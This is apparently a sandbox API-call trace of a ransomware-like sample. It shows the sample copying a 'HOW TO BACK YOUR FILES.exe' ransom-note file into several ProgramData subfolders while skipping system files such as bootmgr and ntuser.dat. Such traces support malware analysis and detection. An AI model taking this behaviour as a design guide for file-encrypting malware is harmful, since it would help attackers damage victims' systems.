	[0084.902] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd10a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.902] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.902] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd10a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.902] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.902] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0084.902] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\DRM", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM"
	[0084.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0084.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0084.902] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM") returned 32
	[0084.902] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DRM" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM"
	[0084.902] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.902] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.903] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.903] GetLastError () returned 0x0
	[0084.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.903] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.903] CloseHandle (hObject=0x10c) returned 1
	[0084.903] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.903] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.903] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.903] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.903] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.904] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.904] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.904] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.904] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.904] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd10a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.904] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="Apollon865.txt.exe") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2=".") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="..") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="windows") returned -1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="bootmgr") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="temp") returned -1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="pagefile.sys") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="boot") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="ids.txt") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="ntuser.dat") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="perflogs") returned 1
	[0084.904] lstrcmpiW (lpString1="Server", lpString2="MSBuild") returned 1
	[0084.904] lstrlenW (lpString="Server") returned 6
	[0084.904] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM\\*") returned 34
	[0084.904] lstrcpyW (in: lpString1=0x119e64a, lpString2="Server" | out: lpString1="Server") returned="Server"
	[0084.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0084.904] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0084.904] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0084.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
	[0084.904] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.904] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0084.904] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\DRM\\Server", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server"
	[0084.904] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0084.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0084.905] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned 39
	[0084.905] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DRM\\Server" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server"
	[0084.905] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.905] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.905] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.905] GetLastError () returned 0x0
	[0084.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.906] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.906] CloseHandle (hObject=0x10c) returned 1
	[0084.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.906] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.906] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.906] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.906] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.906] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.906] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.906] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.906] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.906] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.906] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.906] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd10a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.906] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.906] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd10a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.906] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.906] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0084.906] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\DeviceSync", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync"
	[0084.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc8b0 | out: hHeap=0x580000) returned 1
	[0084.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0084.906] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned 39
	[0084.906] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync"
	[0084.906] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.907] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.907] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.907] GetLastError () returned 0x0
	[0084.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.907] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.907] CloseHandle (hObject=0x10c) returned 1
	[0084.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.907] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.908] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.908] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.908] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.908] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.908] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.908] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.908] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.908] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd36bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.908] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.908] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd36bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.908] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.908] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0084.908] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage"
	[0084.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0084.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0084.908] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage") returned 41
	[0084.908] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage"
	[0084.908] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.908] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.909] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.909] GetLastError () returned 0x0
	[0084.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.909] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.909] CloseHandle (hObject=0x10c) returned 1
	[0084.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.909] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.909] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.909] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.909] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.910] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.910] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.910] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.910] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.910] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe8d810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="Apollon865.txt.exe") returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2=".") returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="..") returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="windows") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="bootmgr") returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="temp") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="pagefile.sys") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="boot") returned 1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="ids.txt") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="ntuser.dat") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="perflogs") returned -1
	[0084.910] lstrcmpiW (lpString1="Device", lpString2="MSBuild") returned -1
	[0084.910] lstrlenW (lpString="Device") returned 6
	[0084.910] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned 43
	[0084.910] lstrcpyW (in: lpString1=0x119e65c, lpString2="Device" | out: lpString1="Device") returned="Device"
	[0084.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0084.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afce8
	[0084.910] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
